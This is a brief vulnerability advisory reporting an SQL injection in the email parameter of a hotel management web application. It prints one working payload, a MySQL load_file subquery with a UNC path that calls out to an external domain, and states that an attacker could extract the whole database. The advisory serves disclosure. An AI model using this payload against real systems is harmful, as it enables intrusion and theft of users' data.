## Title: Multi-Language-Hotel-Management-2022 1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://www.nikhilbhalerao.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/Nikhil%20Bhalerao/2022/Multi-Language-Hotel-Management-2022/Docs/sparkz.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Nikhil%20Bhalerao/2022/Multi-Language-Hotel-Management-2022


## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\ais'))+'
was submitted in the email parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can easily get the all database from this hotel system
and can do very malicious stuff with the users who are inside of this
system.

Status: CRITICAL
